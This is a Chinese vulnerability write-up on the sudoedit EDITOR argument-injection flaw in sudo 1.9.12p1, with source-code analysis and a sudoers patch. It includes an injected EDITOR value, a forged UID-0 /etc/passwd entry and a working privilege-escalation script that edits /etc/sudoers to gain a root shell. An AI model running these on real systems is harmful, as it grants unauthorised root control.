一
前言
二
环境搭建
wget https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
tar -zxvf ./sudo-1.9.12p1.tar.gz
cd sudo-1.9.12p1/
./configure && make && make install
sudo -E gdb /usr/local/bin/sudo
sudo -E gdb --args /usr/local/bin/sudo ...
三
漏洞检测
user ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/test
EDITOR='vim -- /path/to/file' sudoedit /etc/test
x@x-virtual-machine:~$ openssl passwd -1 -salt xxx 123
$1$xxx$jTt7t9bGmhywOtQCjcQA.1
xxx:$1$xxx$jTt7t9bGmhywOtQCjcQA.1:0:0:root:/root:/bin/bash
四
漏洞分析
int
main(int argc, char *argv[], char *envp[])
{
int nargc, status = 0;
char **nargv, **env_add;
char **command_info = NULL, **argv_out = NULL, **run_envp = NULL;
const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL };
......
submit_argv = argv;
submit_envp = envp;
sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
&sudo_settings, &env_add);
}
int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
struct sudo_settings **settingsp, char ***env_addp)
{
const char *progname, *short_opts = sudo_short_opts;
struct option *long_opts = sudo_long_opts;
struct environment extra_env;
int mode = 0; /* what mode is sudo to be run in? */
int flags = 0; /* mode flags */
int valid_flags = DEFAULT_VALID_FLAGS;
int ch, i;
char *cp;
debug_decl(parse_args, SUDO_DEBUG_ARGS);
/* Is someone trying something funny? */
if (argc <= 0)
usage();
/* The plugin API includes the program name (either sudo or sudoedit). */
progname = getprogname();
sudo_settings[ARG_PROGNAME].value = progname;
/* First, check to see if we were invoked as "sudoedit". */
if (strcmp(progname, "sudoedit") == 0) {
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = EDIT_VALID_FLAGS;
short_opts = edit_short_opts;
long_opts = edit_long_opts;
}
......
if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
switch (ch) {
......
case 'E':
/*
* Optional argument is a comma-separated list of
* environment variables to preserve.
* If not present, preserve everything.
*/
if (optarg == NULL) {
sudo_settings[ARG_PRESERVE_ENVIRONMENT].value = "true";
SET(flags, MODE_PRESERVE_ENV);
} else {
parse_env_list(&extra_env, optarg);
}
break;
case 'e':
if (mode && mode != MODE_EDIT)
usage_excl();
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = EDIT_VALID_FLAGS;
break;
......
case 'l':
if (mode) {
if (mode == MODE_LIST)
SET(flags, MODE_LONG_LIST);
else
usage_excl();
}
mode = MODE_LIST;
valid_flags = LIST_VALID_FLAGS;
break;
if (!mode) {
/* Defer -k mode setting until we know whether it is a flag or not */
if (sudo_settings[ARG_IGNORE_TICKET].value != NULL) {
if (argc == 0 && !ISSET(flags, MODE_SHELL|MODE_LOGIN_SHELL)) {
mode = MODE_INVALIDATE; /* -k by itself */
sudo_settings[ARG_IGNORE_TICKET].value = NULL;
valid_flags = 0;
}
}
if (!mode)
mode = MODE_RUN; /* running a command */
}
长选项(long options)是一种长的命令行标志,通常由两个减号(--)和一个带有描述性名称的单词组成。例如,--file 是一个长选项 长选项通常用于指定程序的一些高级选项,比如输出目录、日志文件、配置文件等。 短选项(short options)是一种用于在命令行中指定程序选项的方式。通常由单个字符组成,并且在前面加上一个破折号(-)。例如, -h
是一个短选项,它可能用于显示程序的帮助信息。短选项通常用于指定程序的一些基本选项,比如输出格式、日志级别、文件名等。它们通常很容易记忆,因为它们只有一个字符,并且在命令行中很常见。 长选项和短选项通常可以接参数
◆l:列出当前用户可以使用 sudo 命令执行的命令和参数。
◆E:保留当前用户的环境变量执行sudo(通常情况下,sudo命令会重置环境变量)。
◆e:以管理员权限打开指定的文件进行编辑,使用sudo -e会将文件的所有权和权限更改为管理员,该命令常用于修改重要的系统配置文件,相当于sudoedit。
switch (sudo_mode & MODE_MASK) {
......
case MODE_EDIT:
case MODE_RUN:
if (!policy_check(nargc, nargv, env_add, &command_info, &argv_out,
&run_envp))
......
/* The close method was called by sudo_edit/run_command. */
break;
static bool
policy_check(int argc, char * const argv[], char *env_add[],
char **command_info[], char **run_argv[], char **run_envp[])
{
const char *errstr = NULL;
int ok;
debug_decl(policy_check, SUDO_DEBUG_PCOMM);
if (policy_plugin.u.policy->check_policy == NULL) {
sudo_fatalx(U_("policy plugin %s is missing the \"check_policy\" method"),
policy_plugin.name);
}
......
}
static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
char **command_infop[], char **argv_out[], char **user_env_out[],
const char **errstr)
{
......
struct sudoers_exec_args exec_args;
int ret;
......
if (ISSET(sudo_mode, MODE_EDIT))
valid_flags = EDIT_VALID_FLAGS;
else
SET(sudo_mode, MODE_RUN);
......
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;
ret = sudoers_policy_main(argc, argv, 0, env_add, false, &exec_args);
......
}
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
bool verbose, void *closure)
{
......
validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
if (ISSET(validated, VALIDATE_ERROR)) {
/* The lookup function should have printed an error. */
goto done;
}
......
if (ISSET(sudo_mode, MODE_EDIT)) { //拥有sudoedit权限
char **edit_argv;
int edit_argc;
const char *env_editor;
free(safe_cmnd);
safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc,
&edit_argv, NULL, &env_editor);
......
}
// plugins/sudoers/editor.c@find_editor()
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
char * const *allowlist, const char **env_editor, bool env_error)
{
// [...]
*env_editor = NULL;
ev[0] = "SUDO_EDITOR";
ev[1] = "VISUAL";
ev[2] = "EDITOR";
for (i = 0; i < nitems(ev); i++) {
char *editor = getenv(ev[i]);
if (editor != NULL && *editor != '\0') {
*env_editor = editor;
editor_path = resolve_editor(editor, strlen(editor), nfiles, files,
argc_out, argv_out, allowlist);
static char *
resolve_editor(const char *ed, size_t edlen, int nfiles, char * const *files,
int *argc_out, char ***argv_out, char * const *allowlist)
{
char **nargv = NULL, *editor = NULL, *editor_path = NULL;
const char *tmp, *cp, *ep = NULL;
const char *edend = ed + edlen;
struct stat user_editor_sb;
int nargc;
......
cp = wordsplit(ed, edend, &ep);
......
editor = copy_arg(cp, ep - cp);
......
/* Count rest of arguments and allocate editor argv. */
for (nargc = 1, tmp = ep; wordsplit(NULL, edend, &tmp) != NULL; )
nargc++;
if (nfiles != 0)
nargc += nfiles + 1;
nargv = reallocarray(NULL, nargc + 1, sizeof(char *));
......
/* Fill in editor argv (assumes files[] is NULL-terminated). */
nargv[0] = editor;
editor = NULL;
for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
/* Copy string, collapsing chars escaped with a backslash. */
nargv[nargc] = copy_arg(cp, ep - cp);
......
}
if (nfiles != 0) {
nargv[nargc++] = (char *)"--";
while (nfiles--)
nargv[nargc++] = *files++;
}
nargv[nargc] = NULL;
*argc_out = nargc;
*argv_out = nargv;
......
}
// src/sudo_edit.c@sudo_edit()
int
sudo_edit(struct command_details *command_details)
{
// [...]
/*
* Set real, effective and saved uids to root.
* We will change the euid as needed below.
*/
setuid(ROOT_UID);
// [...]
/* Find a temporary directory writable by the user. */
set_tmpdir(&user_details.cred);
// [...]
/*
* The user's editor must be separated from the files to be
* edited by a "--" option.
*/
for (ap = command_details->argv; *ap != NULL; ap++) {
if (files)
nfiles++;
else if (strcmp(*ap, "--") == 0)
files = ap + 1;
else
editor_argc++;
}
setuid(ROOT_UID);
......
set_tmpdir(&user_details.cred);
.....
else if (strcmp(*ap, "--") == 0)
files = ap + 1;
五
提权
/etc/sudoers是Unix和Linux系统上的一个文件,它包含了授权用户或组以root或其他特权用户身份运行命令的规则。sudoers文件通常只能由系统管理员或具有特权的用户进行编辑。 当用户使用sudo命令时,系统会检查/etc/sudoers文件中的规则,以确定用户是否被授权运行指定的命令或脚本。这些规则可以指定哪些用户或组可以使用sudo,以及在哪些主机上、以哪种方式、运行哪些命令或脚本可以使用sudo。 sudoers文件的规则语法有点复杂,建议在编辑sudoers文件之前备份好文件,并使用专门的工具(如visudo)进行编辑,以避免语法错误或安全问题。 /etc/passwd是Linux系统中的一个文件,它包含了所有用户账号的信息。每一行代表一个用户账号,由7个字段组成,字段之间用冒号分隔。这7个字段的含义分别是: 1.用户名:用于登录系统的用户名,必须是唯一的。 2.密码:已经被加密的用户密码,如果为x或*则表示密码存储在/etc/shadow文件中。 3.用户ID:用户的唯一标识符,通常称为UID。 4.组ID:用户所属的主要组的标识符,通常称为GID。 5.用户信息:用户的个人信息,通常是用户的全名或注释。 6.家目录:用户的主目录,通常是/home/username。 7.登录Shell:用户登录后默认使用的Shell程序,通常是/bin/bash或/bin/sh。
#!/usr/bin/env bash
#
if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
echo "> Currently installed sudo version is not vulnerable"
exit 1
fi
EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)
if [ -z "$EXPLOITABLE" ]; then
echo "> It doesn't seem that this user can run sudoedit as root"
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
echo "> BINGO! User exploitable"
fi
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) ALL"
read -n 1 -s -r -p "Press any key to continue..."
echo "$EXPLOITABLE"
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0
1.使用 sudo -l 命令列出当前用户的sudo权限。
2.使用 grep -E "sudoedit|sudo -e" 过滤出能够运行 sudoedit 命令或者 sudo -e 命令的权限。
3.使用 grep -E '(root)|(ALL)|(ALL : ALL)' 过滤出其中包含 (root) 或者 (ALL) 或者 (ALL : ALL) 的权限。
4.使用 cut -d ')' -f 2- 命令删除每行开头的括号和空格,只保留每行的命令参数。
六
补丁
defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf
user ALL=(ALL:ALL) SUDOEDIT
看雪ID:CatF1y
https://bbs.kanxue.com/user-home-959842.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看
文章引用微信公众号"看雪学苑",如有侵权,请联系管理员删除!